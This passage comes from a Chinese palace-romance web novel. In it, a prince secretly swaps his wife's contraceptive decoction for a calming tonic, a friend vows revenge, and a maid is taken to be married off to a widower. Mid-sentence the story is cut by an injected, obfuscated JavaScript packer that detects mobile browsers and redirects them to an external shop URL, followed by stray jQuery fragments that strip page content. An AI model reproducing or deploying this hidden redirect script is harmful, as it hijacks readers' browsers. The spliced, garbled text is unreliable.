帐中如同带着一层水雾,两人已不分彼此,她拔下发簪,一头如瀑青丝翻动,身上点点红痕如寒梅映雪,是水墨无法描摹出的美景。
这一夜,送水的丫鬟往来了数次。偶有帐幔缝隙微掀开一角,隐约能见王爷执一方软帕,正细细拭着那具玉雪般的身子。
次日,陆书窈醒来时隐约觉得浑身像散了架一般酸痛,身侧萧凛还在紧紧抱着她。
察觉到她醒了,萧凛轻轻在她额上印下一吻。
“我已吩咐下去,你往后想去何处便去何处,我不会再派人盯着,你的书信,我也绝不会随意翻看。”他语声轻缓,顿了顿又添了句叮嘱,“只是若要独自往僻静处去,最好还是带个人在旁才稳妥些。”
她淡淡地应了一声,没有再多言语。
萧凛只当她是太过劳累,虽然他昨夜食髓知味,晨起时冲动更甚,却还是按捺住心绪,轻手轻脚先行起身,低声嘱咐她再多歇片刻。
陆书窈怔怔望着帐幔出了半晌神,才轻唤一声,将橘绿召至跟前。
“去外面的大夫那问问,给我弄些避子汤药来。”
橘绿闻言,满眼都是不可置信。
自古高门府邸的主母,莫不是盼着早些诞下子嗣,方能坐稳名分,只有一些正室怕妾室先行诞下子嗣影响自己的地位,才会赏避子汤给妾室,还从未听过主母主动要避子汤的。
她愣在原地,半晌不敢动,只低声劝:“王妃,这万万使不得,若是让王爷知晓……”
“他不是说了一切由我吩咐吗?去做就是,别让人知晓。”陆书窈冷冷道。
方才她想了半晌,得出的结论是她昨夜不过是心绪郁结到了极致,借着醉意放纵这一回罢了。若真因此怀了孩子,来日她若想抽身离开,便再无半分余地。
“快去。”陆书窈语气冷冽,橘绿从未见她这般神色,心头一怯,纵然满心委屈,也只得抿着唇应下,转身出府去。
另一边,谢宁伤愈后闲来无事,正在府中缓步闲逛,恰见橘绿哭丧着脸匆匆而过,连声追问也不肯说缘由。
他心下生疑,悄悄跟了上去,行至外面的药铺中,才偷听到原是王妃遣她来买避子汤药。
谢宁思忖片刻,终究还是寻了萧凛据实禀报。原以为他听闻此事定会大发雷霆,孰料萧凛听罢,面上竟异常平静,只淡淡吩咐道:“叫府医来见我。”
府医被谢宁传召而来,见萧凛今日面色神清气爽,比前些时日好了太多,只当是自己先前开的补药见了效,心头满是欢喜,暗忖此番定说不定是被叫来得些赏赐,却没想到萧凛思忖片刻开了口,问了一个让他摸不着头脑的问题。
“我听闻这避子汤,女子喝了之后会伤身,可是真的?”萧凛问道。
“禀王爷,确有此事,这避子汤多以寒凉之药配伍,常饮会损女子气血,便是偶尔饮上一回,也易令身子虚寒。”府医回道。
“嗯。”萧凛点点头,思忖片刻说道:“可有男子能饮用的避子汤?”
府医闻言猛地抬头,愣怔半晌才回过神,忙又俯首迟疑答道:“回王爷,确有此类汤药。男子体质偏阳,服食此汤,倒不至如女子那般伤损气血、亏耗根基。”
“好,那便为我配上避子汤。”
“这……”府医甚少听说男子愿意喝避子汤,惊讶之余也不敢再多说些什么,只是唯唯诺诺应下。
待府医走后,萧凛又嘱咐谢宁:“你悄悄帮我把王妃的药替换成一些安神汤药,务必不能让她发现。”
“是。”谢宁领命告退。
另一边,陆书窈饮尽避子汤,随手将药碗搁在一旁,梳洗过后换了身素净衣衫,便只身出了王府。
她一路行至李向晚的铺子前,离着尚远,便见她里里外外忙活不停,看来铺子的生意倒是十分红火。
李向晚见了她,先是左右打量了她身边有没有人跟着,发现她独自前来,便急忙将她拉近了屋内,然后将铺子的门掩上。
“我正有事要和你讲,没想到你就来了。”李向晚焦急地说道:“之前你不是和我说了那陈掌柜家里人全都失踪的消息,我打听到了他还有个外室,陈掌柜假称回乡之后,她便被丢下了。”
“那外室现在何处?”陆书窈问道。
“那陈掌柜素来小气,她身边也没攒下什么银钱,走投无路便落了风尘,前些日子好像犯了什么事被都城府抓去关了,说不定她那边能有什么线索。”李向晚回道。
陆书窈也趁此,将自己猜测她家中灭门案与太子、柳贵妃有关的事告诉了李向晚,她的本意是想让李向晚就此放下报仇的事,毕竟对方势力滔天,却不料李向晚听完之后,并不是她想象中的反应。
“在我这种平头百姓眼里,你也好,太子、柳贵妃也罢,本就都是我这辈子攀不上的贵人。”李向晚语气轻松,抬眼望着她,“可先前我认定你是指使的凶手时,半分退缩都没有,不也差点拼着性命要了你的命?”
“可这不一样。”陆书窈摇了摇头说道:“你不知那些人有多阴狠可怕,前些日子宫中那场大火,便是他们的手笔……”
“那就等,等到我能报仇的时候。”
“一日不成,便等一月;一月不成,便等一年;一年不成,便等十年。”李向晚眼中亮着笃定的光,字字铿锵,“我信总有寻到机会的那日,我的日子还长,耗得起。”
陆书窈被她这番话震在原地。她从未想过一个十六岁的姑娘,心性竟能这般果决坚韧,反倒衬得自己一直瞻前顾后有些可笑。
“先不提这些。你前些日子不是采了许多照影花苗移栽回去,可种活了?”
李向晚怕陆书窈再劝,忙借着话头转了话题。
“没成,是我先前想得太过轻易。”陆书窈轻叹一声,将花苗移栽回来后遇上的种种状况,一一同她说了。
“想来应该是忽略了什么重要的细节,但你别担心,我也会帮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083707|192791||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着你一起想法子。”李向晚拍了拍她的肩说道。
从李向晚的铺子中出来,不知怎的,陆书窈心里觉得松快了不少,或许是因为李向晚对于未来充满希望和干劲的样子感染了她,让她觉得现在的状况好像也没那么糟。
铺子离王府本就不远,陆书窈走了没几步,便见府门前一辆旧马车正匆匆驶离,车帘缝隙间,似还隐约传出女子挣扎啜泣声。
陆书窈心头生疑,正巧看见一旁正立着擦眼泪的的小丫鬟,便上前追问马车的事。
那丫鬟眼眶通红,见是王妃,忙扑通一跪,急声哀求:“求王妃救救橘绿姐姐!”
原来方才的马车,是橘绿家的人来接她的马车。
先前橘绿曾与她提过,自家原是家道中落,才被卖入王府为婢,身契本是年后便到期的,只是未到日子前,若能凑够银子,再加上些补偿的费用,也能提前将人赎回。
陆书窈忆起先前橘绿说过家中光景渐好,虽然此番仓促,连道别都没来得及,但总归是脱离奴籍的好事,便问道:“既是家人将她赎回,不必再在此为奴为婢,岂不是一桩好事?”
“可她家人突然来赎,是要逼着她过几日便嫁人啊!”小丫鬟哭丧着脸,急声说道,“大晋哪有女子十四便出嫁的道理?况且家人给她寻的亲事,还是个四十多岁的鳏夫!今日来接人时还拿了八字给橘绿看,她当时便死活不肯,可家人来赎身契合理合法,府里管事也没法管,所以他们就直接绑了橘绿离开!”
“怎么会这样!”陆书窈失声惊道。
她不过外出片刻,橘绿竟遭此变故。虽说家人按规赎人接走,于程序上挑不出半分错处,可她实在难接受自己身边的人要落入这般不堪的境地。若是方才她在场,定然不会任由她的家人将橘绿强带走。
“求求王妃救救她!”小丫鬟平日里和橘绿甚是要好,此时跪在地上连连磕头。
陆书窈连忙将她扶起身,柔声安抚道:“你放心,我不会放任不管的。”说罢便抬脚匆匆入内,寻萧凛去了。
萧凛虽静坐在屋中,心思却尽数系在陆书窈身上。
往日里,她的一举一动自有人时时回禀,可今日她外出已近一个下午,竟半点消息也没有。让他极是不习惯,心底竟已悄悄动了亲自出去寻人的念头。
正满心焦灼时,屋外忽然传来熟悉的脚步声,他心头一松,忙敛了神色正襟危坐,装作若无其事的模样。
“我屋中的丫鬟橘绿被带走了。”陆书窈急匆匆进来说道:“我要去救她。”
“什么?”
“橘绿的家人将她赎走,是要把她嫁给一个四十多岁的鳏夫,我不能眼睁睁看着她跳火坑。”陆书窈语气愈发急促起来。
萧凛听出她语声里的急切,忙循声起身,伸手握住她微凉的手轻轻攥住。
“府中人事进出原是交予管事打理,可既出了这等事,又偏是你看重的人,我定然管到底。你且放心。”